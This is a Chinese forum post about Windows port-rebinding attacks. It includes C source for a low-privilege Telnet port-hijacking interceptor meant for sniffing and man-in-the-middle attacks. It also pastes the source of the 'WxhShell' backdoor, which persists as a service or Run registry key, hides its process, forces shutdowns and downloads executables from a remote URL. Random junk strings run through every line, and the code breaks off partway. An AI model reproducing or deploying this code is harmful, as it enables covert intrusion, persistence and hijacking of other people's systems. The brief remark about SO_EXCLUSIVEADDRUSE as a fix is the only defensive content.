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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `ItMn&P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {.z2n>1J{T  
AShJt xxa  
  saddr.sin_family = AF_INET; tz&=v,_jc  
\^?BC;s^C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *4r 1g+0  
9">}@1k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); WYwsTsG{_  
NyJU?^f&v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q}W6?XDu  
k _hiGg  
  这意味着什么?意味着可以进行如下的攻击: 18Pc4~ >0  
IO`.]iG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >f19P+  
57)S"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s7SW4ff1  
4kNf4l9Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8N!E`{W  
w]UYD;f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3ZU`}  
F^IYx~:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C!B2 .:ja  
-Uq I=#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LCRreIIgZ  
@W=#gRqQPy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 > z h  
]o_Z3xXUa  
  #include ?BQZ\SXU  
  #include X7{ueP#L  
  #include [E2afC>zrl  
  #include    23qTmh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R"Hhc(H  
  int main() : +/V  
  { ,JN2q]QPP  
  WORD wVersionRequested; fg%I?ou  
  DWORD ret; kG &.|  
  WSADATA wsaData; kW4/0PD  
  BOOL val; -wC;pA#o  
  SOCKADDR_IN saddr; U'UV=:/-  
  SOCKADDR_IN scaddr; }/B  
  int err; G7pj.rQ  
  SOCKET s; 8}\VlH]  
  SOCKET sc; O!lZ%j@%  
  int caddsize; R?Ki~'k=  
  HANDLE mt; ZBcZG  
  DWORD tid;   26yv w  
  wVersionRequested = MAKEWORD( 2, 2 ); @ _U]U  
  err = WSAStartup( wVersionRequested, &wsaData ); MJV)| 2C  
  if ( err != 0 ) { e4yd n  
  printf("error!WSAStartup failed!\n"); .rD@Q{e50  
  return -1; 2+TCFpv  
  } syA*!Up  
  saddr.sin_family = AF_INET; W@`Nn*S  
   3)T'&HKQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *O#%hTYq  
a:Y6yg%1>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \kvd;T#t6  
  saddr.sin_port = htons(23); '49&qO5B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7qA0bUee5  
  { nY'0*:'u  
  printf("error!socket failed!\n"); 1<fS&)^W  
  return -1; y!6B Gz  
  } \$/)o1SG  
  val = TRUE; x:88E78  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yN5g]U. Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y]P'; C_eP  
  { wP/&k`HQ#i  
  printf("error!setsockopt failed!\n");  >zFe)  
  return -1; `g<@F^x5  
  } 7u6o~(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BdG~y1%:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "2i{ L '  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3DV';  
.|JJyjRA+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a57Y9.H`o  
  { xM8}Xo  
  ret=GetLastError(); A)kx,,[  
  printf("error!bind failed!\n"); ]U!vZY@\  
  return -1; 4{(uw  
  } X,IjM&o"Y  
  listen(s,2); @ JZ I  
  while(1) ?FVX &{{V  
  { Al09R,I;  
  caddsize = sizeof(scaddr); C$vKRg\o  
  //接受连接请求 B&Q\J>l9S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,3.E]_3 xX  
  if(sc!=INVALID_SOCKET) n`2 d   
  { 81eDN6 M\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3xxQL,FV  
  if(mt==NULL) 8B JxD<  
  { J_C<Erx[O  
  printf("Thread Creat Failed!\n"); (8TB*BhQ_  
  break; C<?}?hhb  
  } KoRJ'WW^  
  } {UX?z?0T  
  CloseHandle(mt); gV$j ]  
  } %I9{)'+@x  
  closesocket(s); X|q&0W=  
  WSACleanup(); #:s*)(Qn  
  return 0; [4"1TyW  
  }   swYlp  
  DWORD WINAPI ClientThread(LPVOID lpParam) kQ 7$,K#  
  { mTz %;+|L  
  SOCKET ss = (SOCKET)lpParam; ]|it&4l  
  SOCKET sc; Tz4,lwuWX7  
  unsigned char buf[4096]; V%8?f,  
  SOCKADDR_IN saddr; NZdjS9  
  long num; iZ<^p1i  
  DWORD val; "CLoM\M)  
  DWORD ret; HYyO/U9z|I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p~6/+ap  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8W#/=Xh?  
  saddr.sin_family = AF_INET; ?:vp3f#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y  >r7(qg  
  saddr.sin_port = htons(23); n$ $^(-g@)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ns[v.YDL  
  { {a\O7$A\F  
  printf("error!socket failed!\n"); L6./b;  
  return -1; |iKk'Rta4  
  } =.(yOUI  
  val = 100; >A5R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %@#+Xpa+  
  { `E+)e?z  
  ret = GetLastError(); f uQbDb&  
  return -1; lT#&\JQ  
  } k"\%x =#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6!dbJ5x1  
  { k!3X4;F!_  
  ret = GetLastError(); SNV~;@(h  
  return -1; )Fx"S.Ok  
  } 11[[Hk X@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) reR><p  
  { C,~wmS )@  
  printf("error!socket connect failed!\n"); 8^\}\@  
  closesocket(sc); {STOWuY  
  closesocket(ss); h[ #Lg3  
  return -1; u.sF/T=6f  
  } R*a5bKr  
  while(1) s:3 altv  
  { #"-?+F=rk  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "[2CV!_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l*>t@:2J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'KB\K)cD=3  
  num = recv(ss,buf,4096,0); 6w(Mb~[n  
  if(num>0) +KgoLa  
  send(sc,buf,num,0); rt%?K.S/  
  else if(num==0) Ko_Sx.  
  break; 2+zE|I.  
  num = recv(sc,buf,4096,0); ^!^6 |[  
  if(num>0) :Rv ?>I j  
  send(ss,buf,num,0); r8g4NsRVtv  
  else if(num==0) vw5f.8T;w  
  break; Z:DEET!c'k  
  } o`5p "v r  
  closesocket(ss); ph{p[QI:{X  
  closesocket(sc); /_<`#?5T(  
  return 0 ; 3[I; 3=O  
  } aSdh5?  
H e ABU(o4  
7ksh%eV  
========================================================== IhnHNY]<g  
9qN4f8R  
下边附上一个代码,,WXhSHELL ~,+n_KST;  
YL-/z4g  
========================================================== Z?X0:WK  
Mx{VN P  
#include "stdafx.h" w}No ^.I*4  
u$ C@0d  
#include <stdio.h> N`XJA-DE  
#include <string.h> 56gpAc  
#include <windows.h> g?` g+:nug  
#include <winsock2.h> .w2QiJ  
#include <winsvc.h> i)9}+M 5  
#include <urlmon.h> ;,P-2\V/  
QR4rQu  
#pragma comment (lib, "Ws2_32.lib") :W]?6=  
#pragma comment (lib, "urlmon.lib") L1=3_fO  
,<?iL~> %  
#define MAX_USER   100 // 最大客户端连接数 \Zc$X^}vN  
#define BUF_SOCK   200 // sock buffer Q|QVm,m  
#define KEY_BUFF   255 // 输入 buffer ?#; oqH<  
= ms(dr^n  
#define REBOOT     0   // 重启 Rs_0xh  
#define SHUTDOWN   1   // 关机 8|^dM$  
Ww5c9orXn  
#define DEF_PORT   5000 // 监听端口 6BM[RL?T  
[ []'U'  
#define REG_LEN     16   // 注册表键长度 0^'A^  
#define SVC_LEN     80   // NT服务名长度 u.;zz'|  
^kZfE"iE2  
// 从dll定义API {Hncm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  :VwU2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .K`OEdr<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wKF #8Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); - s[=$pDU  
piYv }4;:(  
// wxhshell配置信息 vSty.:bY\p  
struct WSCFG { X"WKgC g$  
  int ws_port;         // 监听端口 }L Q9db1  
  char ws_passstr[REG_LEN]; // 口令 /2}o:vLj  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1HQh%dZZ  
  char ws_regname[REG_LEN]; // 注册表键名 ?#8',:  
  char ws_svcname[REG_LEN]; // 服务名 O@JgVdgf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y g>W.wA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &y` MDyXz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @3`:aWda  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y `4AML  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5/x"!Jk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rs+rlJq  
BiGB<Jr  
}; p@epl|IZp  
50!/%  
// default Wxhshell configuration eduaG,+k7p  
struct WSCFG wscfg={DEF_PORT, \#4??@+Xf  
    "xuhuanlingzhe", Eu/~4:XN  
    1, 6k6M&a  
    "Wxhshell", OLXkiesK{  
    "Wxhshell", &qw7BuF  
            "WxhShell Service", $=dp)  
    "Wrsky Windows CmdShell Service", V]b1cDx{  
    "Please Input Your Password: ", a*LT<N  
  1, YnnpgR.  
  "http://www.wrsky.com/wxhshell.exe", gcYx-gA}  
  "Wxhshell.exe" >! +.M9  
    }; xlPUu m-o  
3:Bwf)*  
// 消息定义模块  !sda6?&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }e3M5LI1L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; whb|N2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DLMG<4Cd~  
char *msg_ws_ext="\n\rExit."; e$F]t *)Xa  
char *msg_ws_end="\n\rQuit."; Pn@k)g  
char *msg_ws_boot="\n\rReboot..."; %bI(   
char *msg_ws_poff="\n\rShutdown..."; |8I #`  
char *msg_ws_down="\n\rSave to "; z0J$9hEg89  
^NJ]~h{n$  
char *msg_ws_err="\n\rErr!"; 2 qRX A  
char *msg_ws_ok="\n\rOK!"; Y" 9 o  
1*S5:7Tb  
char ExeFile[MAX_PATH]; p:M#F:  
int nUser = 0; lB!`,>"c  
HANDLE handles[MAX_USER]; eUQ.,mP  
int OsIsNt; !:e|M|T'I*  
<>aBmJs4  
SERVICE_STATUS       serviceStatus; 5 e:Urv77  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b *IJ +  
B{|g+c%  
// 函数声明 [?)=3Pp  
int Install(void); Gd0-}4S?  
int Uninstall(void); gLv|Hu7  
int DownloadFile(char *sURL, SOCKET wsh); VM{`CJ2  
int Boot(int flag); H+ra w/"  
void HideProc(void); HZMs],GX  
int GetOsVer(void); QX (x6y>Q  
int Wxhshell(SOCKET wsl); $>E\3npV  
void TalkWithClient(void *cs); "bZV<;y6  
int CmdShell(SOCKET sock); d q=>-^o  
int StartFromService(void); l@` D;m  
int StartWxhshell(LPSTR lpCmdLine); MWf]U  
l,uYp"F,ps  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eeIh }t>[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +3.Ik,Z}zq  
$iQ>c6  
// 数据结构和表定义 \~xI#S@  
SERVICE_TABLE_ENTRY DispatchTable[] = }*Qd]\fy  
{ tq=1C=h  
{wscfg.ws_svcname, NTServiceMain}, "sLdkd}dj  
{NULL, NULL} <4jQbY;  
}; h}xUZ:  
0 eZfHW&  
// 自我安装 H"(:6 `  
int Install(void) ^}; 4r  
{ 0?uX}8w  
  char svExeFile[MAX_PATH]; k5G(7Ug=g~  
  HKEY key; zM6 yUEg  
  strcpy(svExeFile,ExeFile); 3_=~7B) 8  
CCKg,v  
// 如果是win9x系统,修改注册表设为自启动 WtI1h`Fo  
if(!OsIsNt) { >Bp%~8f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xO'I*)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8xhXS1  
  RegCloseKey(key); GZT}aMMSJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }C>Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '|^LNAx  
  RegCloseKey(key); dJ\6m!Mp  
  return 0; g!n1]- 1  
    } ,oe e'  
  } -Hzn7L  
} ^|}C!t+  
else { ZCPK{Ru QE  
bHlG(1uf  
// 如果是NT以上系统,安装为系统服务 J#Fe"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }]vj"!?a  
if (schSCManager!=0) m^ zx &  
{ m}.ru)^p  
  SC_HANDLE schService = CreateService { frEVHw  
  ( WO*yJ`9]  
  schSCManager, zO{$kT\r&  
  wscfg.ws_svcname, )6)|PzMQ'  
  wscfg.ws_svcdisp, .;WJ(kB\U  
  SERVICE_ALL_ACCESS, (ohkM`83k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , THH rGvb  
  SERVICE_AUTO_START, tW5 \Ktjno  
  SERVICE_ERROR_NORMAL, a:@9GmtV&  
  svExeFile, ]i*q*]x2u  
  NULL, &QE^i%6>\  
  NULL, zF /}s_><*  
  NULL, [i[G" %Q  
  NULL, vZ 4Z+;.  
  NULL 4zghM<  
  ); jIE>t5 fy  
  if (schService!=0) 4,9AoK)yp  
  { =1^a/  
  CloseServiceHandle(schService); tYIHsm\b  
  CloseServiceHandle(schSCManager); #%VprcEK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T Uhp  
  strcat(svExeFile,wscfg.ws_svcname); (Br$(XJoK}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `.;7O27A^%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DHpU?;|3  
  RegCloseKey(key); m6V1m0M  
  return 0; 5X&<+{bX  
    } ^ vI|  
  } R+]p -NI^  
  CloseServiceHandle(schSCManager); %9M; MK  
} r0G#BPgdR  
} d_J?i]AP|'  
DjOFfD\MF  
return 1; B0=:A  
} 2a.NWJS  
pALB[;9g  
// 自我卸载 )xQxc.  
int Uninstall(void) M)Rp+uQ  
{ hM\QqZFyp  
  HKEY key; ~m!>e])P?X  
qq-&z6;$  
if(!OsIsNt) { =D5@PHpv(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p@i U}SUaE  
  RegDeleteValue(key,wscfg.ws_regname); qNHS 1  
  RegCloseKey(key); w GZ(bKyO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *" <tFQ  
  RegDeleteValue(key,wscfg.ws_regname); {N5g52MN  
  RegCloseKey(key); 7~\Dzcfk"P  
  return 0; 4:r^6m%%  
  } zq!2);,  
} :&yRvu  
} !Go(8`>  
else { |L;'In  
W/oRt<:E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N(vbo  
if (schSCManager!=0) OpxVy _5,  
{ Oi BK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U]vNcQj  
  if (schService!=0) (/YC\x?  
  { mk\U wv  
  if(DeleteService(schService)!=0) { ]&/jvA=\l,  
  CloseServiceHandle(schService); ibzYY"D:  
  CloseServiceHandle(schSCManager); rShi"Yw  
  return 0; fH`1dU  
  } C*Ws6s>+z  
  CloseServiceHandle(schService); BT>*xZLpS  
  } :^%s oEi  
  CloseServiceHandle(schSCManager); @mP@~  
} /l(:H  
} q,nj|9z V  
TeqFy(Dr  
return 1; "]c:V4S#`A  
} S-2xe?sb  
?Tuh22J{Q  
// 从指定url下载文件 bDUGzezP<  
int DownloadFile(char *sURL, SOCKET wsh) s+zb[3}  
{ $L</{bXW  
  HRESULT hr; {(a@3m~a%  
char seps[]= "/"; 3kR- WgVF,  
char *token; ^Jnp\o>  
char *file; R2]?9\II  
char myURL[MAX_PATH]; Jq6p5jr"  
char myFILE[MAX_PATH]; W[^XG\  
ac+7D:X  
strcpy(myURL,sURL); l^$:R~gS  
  token=strtok(myURL,seps); PNc200`v4_  
  while(token!=NULL) vJ"@#$.  
  { 9q* sR1  
    file=token; asQ" |]m  
  token=strtok(NULL,seps); w-/bLg[L?$  
  } s #L1:L  
:\80*[=;Z  
GetCurrentDirectory(MAX_PATH,myFILE); yr sP'th  
strcat(myFILE, "\\"); _9n.ir5YX  
strcat(myFILE, file); u x:,io  
  send(wsh,myFILE,strlen(myFILE),0); S<p "k]  
send(wsh,"...",3,0); sK?[ 1BI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?rBj{]=  
  if(hr==S_OK) 8(3vNuyP  
return 0; -^#Ix;%  
else  )_j.0a  
return 1; |:!0`p{R  
D<xPx  
} U7PA%  
"#4PU5.  
// 系统电源模块 -D!F|&$  
int Boot(int flag) I*lq0&  
{ ZlO@PlZ)  
  HANDLE hToken; uaU!V4-  
  TOKEN_PRIVILEGES tkp; 7ZZSAI  
2A`EFk7_X  
  if(OsIsNt) { P45q}v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ke3=s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *EV]8  
    tkp.PrivilegeCount = 1; 6 Dg[ b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  h@W}xT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |d%Dw^  
if(flag==REBOOT) { QyHUuG|g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y|MW-|0=!  
  return 0; =HoiQWQs`  
} Mm6 (Q  
else { 7FMHz.ZRE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %{}Jr`  
  return 0; 3tr?-l[N\  
} $ng\qJ"HF  
  } ];uvE? 55  
  else { U Ciq'^,  
if(flag==REBOOT) { 1]hMA\x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )3..7ht3^5  
  return 0; <CA lJ  
} PKjA@+  
else { E0)v;yRcw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ie$=3nZJ}  
  return 0; ~!:F'}bj  
} m2_&rjGz  
} (b{ {B$O  
{.!:T+'Xi\  
return 1; mDM]RAub)  
} "jeJV,%  
:m37Fpz&b  
// win9x进程隐藏模块 8tdUnh%/  
void HideProc(void) "%.#/!RG  
{ 3}h&/KN{  
*:&fw'vd,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @#T?SNIL5  
  if ( hKernel != NULL ) p O: EJ  
  { x&9 I2"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?L'k2J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S>"dUM  
    FreeLibrary(hKernel); ,#c-"x Y  
  } ^ 1J;SO|  
n:#ji|wM  
return; C&5T;=<jKO  
} y!v$5wi  
@{ nT4{  
// 获取操作系统版本 Vm6^'1CY  
int GetOsVer(void) ho(Y?'^t3  
{ c3 wu&*p{  
  OSVERSIONINFO winfo; IsRsjhg8x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @ym7hk.  
  GetVersionEx(&winfo); SA/0Z=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,U2D &{@  
  return 1; \/$v@5  
  else F(XWnfUv  
  return 0; &pmJ:WO,h  
} hqBwA1](a  
|RjjP 7  
// 客户端句柄模块 \4vFEJSh  
int Wxhshell(SOCKET wsl) xeHu-J!P  
{ ?&X6VNbU  
  SOCKET wsh; sP+S86 u  
  struct sockaddr_in client; BFEo:!'F  
  DWORD myID; b uhxC5i%  
]Ny]Ox<  
  while(nUser<MAX_USER) I 9u=RI s  
{ Jz|(B_U  
  int nSize=sizeof(client); _n_i*p '2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F_21`Hj  
  if(wsh==INVALID_SOCKET) return 1; o3W5FHFAv  
u#P7~9ZG-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'PO1{&M  
if(handles[nUser]==0) ~z'0~3  
  closesocket(wsh); t6"4+:c!>  
else t*<c+Ixu  
  nUser++; 'rF TtT  
  } 6 XG+YIG6w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )8k6GO8|  
nut7b  
  return 0; Kp&d9e{ Yc  
} +Rh'VZJs  
X<?;-HrS;  
// 关闭 socket 5$#<z1M.&  
void CloseIt(SOCKET wsh) ZHF@k'vm/9  
{ T }8aj  
closesocket(wsh); P;y/`_jo  
nUser--; xp &I~YPH  
ExitThread(0); 9rid98~d  
} q OXL(  
%!=YNm  
// 客户端请求句柄 u( o@_6  
void TalkWithClient(void *cs) 7dakj>JM  
{ C9nNziws  
/J6CSk  
  SOCKET wsh=(SOCKET)cs; -5qO}^i$a  
  char pwd[SVC_LEN]; 1";~"p2(  
  char cmd[KEY_BUFF]; 6 S&#8l  
char chr[1]; asJYGqdF  
int i,j; }.hBmhnZmI  
@%TQ/L^|  
  while (nUser < MAX_USER) { Qz<-xe`o8]  
Hc+<(g   
if(wscfg.ws_passstr) { S2NsqHJr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bHMlh^{`%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 49#-\=<gt  
  //ZeroMemory(pwd,KEY_BUFF); iKK=A.g  
      i=0; 3a5H<3w_  
  while(i<SVC_LEN) { givK{Yt<B  
4-"wFp  
  // 设置超时 Xmnq ZWB  
  fd_set FdRead; F?dTCa  
  struct timeval TimeOut; 980+Y  
  FD_ZERO(&FdRead); ^*r${Nj  
  FD_SET(wsh,&FdRead); Oh^X^*I$@  
  TimeOut.tv_sec=8; 8%NX)hZyq}  
  TimeOut.tv_usec=0; q"cFw${  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |z4/4Y@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E`s_Dr}K  
pQ/:*cd+M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L fi]s  
  pwd=chr[0]; }E=kfMu  
  if(chr[0]==0xd || chr[0]==0xa) { tyDtwV|  
  pwd=0; )CmuC@ Q"  
  break; K1hw' AaQ  
  } OYzJE@r^  
  i++; ZN)/doK  
    } u,pm\  
{NFeX'5bP  
  // 如果是非法用户,关闭 socket ::R^ w"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a} /Vu"  
} jn7} jWA  
$ -y+97  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 646ye Q1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^U =`Rx  
! Q#b4f  
while(1) { l:ED_env:  
_5)#{ o<  
  ZeroMemory(cmd,KEY_BUFF); ~ U1iB  
}/LYI  
      // 自动支持客户端 telnet标准   I*ej_cFQ^  
  j=0; }n.h)Oz  
  while(j<KEY_BUFF) { pta%%8":  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |B n=$T]  
  cmd[j]=chr[0]; m^=, RfUUd  
  if(chr[0]==0xa || chr[0]==0xd) { f 4 _\F/  
  cmd[j]=0; izKk@{Md  
  break; 5A)w.i&V  
  } {)[i\=,`{  
  j++; BOWTH{KR<<  
    } r:q#l~;^  
8iCI s=06  
  // 下载文件 q5 A+%#  
  if(strstr(cmd,"http://")) { ELPJ}moWZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e%P;Jj476  
  if(DownloadFile(cmd,wsh)) {, |"Rpd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `~}7k)F(  
  else bDkE*4SRX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8N`$7^^  
  } *"5a5.`%,  
  else { `%Ghtm*  
<_>6a7ra  
    switch(cmd[0]) { /;0>*ft4  
  d{he  
  // 帮助 EH:1Z*|Z{\  
  case '?': { q^cFD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <Z;7=k  
    break; &SM$oy#?  
  } ^M9oTNk2  
  // 安装 P=@lkF!\#  
  case 'i': { GKSy|z  
    if(Install()) Q.XsY.{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,dp?'_q {  
    else pxbNeqK@p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vP4Ij  
    break; s,k1KTXg<B  
    } IX(yajc[~M  
  // 卸载 =, 0a3D6b  
  case 'r': { g#:XN  
    if(Uninstall()) GW#kaqC1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :2My|3H\  
    else z]YhQIU4n8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 85fDuJ9$Z"  
    break; AN>`M?EQ  
    } B#MW`7c  
  // 显示 wxhshell 所在路径 =tNiIU  
  case 'p': { Tc(R-Wi  
    char svExeFile[MAX_PATH]; {XXNl)%  
    strcpy(svExeFile,"\n\r"); S=g-&lK  
      strcat(svExeFile,ExeFile); OgS8.wX  
        send(wsh,svExeFile,strlen(svExeFile),0); of`]LU:  
    break; "6d bRo5%  
    } `Y;gMrp  
  // 重启 @e,Zmx  
  case 'b': { O}-7 V5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {|h"/   
    if(Boot(REBOOT)) Qzhnob#C9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w3N%J>4_E  
    else { DRoxw24  
    closesocket(wsh); iq:[+  
    ExitThread(0); 48Lmy<}*  
    } (3h*sd5ly  
    break; }Yl=lc vw  
    } % 4"~O _S  
  // 关机 gL"}53A  
  case 'd': { `Cf en8  
